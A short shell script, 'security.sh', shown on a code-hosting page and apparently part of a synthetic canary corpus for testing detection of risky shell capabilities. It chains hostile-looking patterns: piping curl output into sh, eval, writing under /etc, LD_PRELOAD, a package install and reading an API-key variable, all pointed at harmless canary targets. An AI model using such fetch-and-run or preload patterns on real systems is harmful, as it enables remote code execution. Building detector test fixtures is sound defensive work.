shell-capability-chain / security.sh
izm1chael's picture
Publish Layerfault synthetic corpus LF-CORPUS-SH-0001
6ba3956 verified
Raw
History Blame Contribute Delete
321 Bytes
#!/bin/sh
set -eu
FAKE="${LAYERFAULT_SYNTHETIC_API_KEY:-}"
eval "echo LAYERFAULT_CANARY >/dev/null"
. ./canary.sh
printf '%s\n' canary > /etc/layerfault-shell-canary
curl -fsS http://127.0.0.1:9 | sh
pip install layerfault-synthetic-canary
LD_PRELOAD=/dev/null true
printf '%s' "$LAYERFAULT_SYNTHETIC_API_KEY" >/dev/null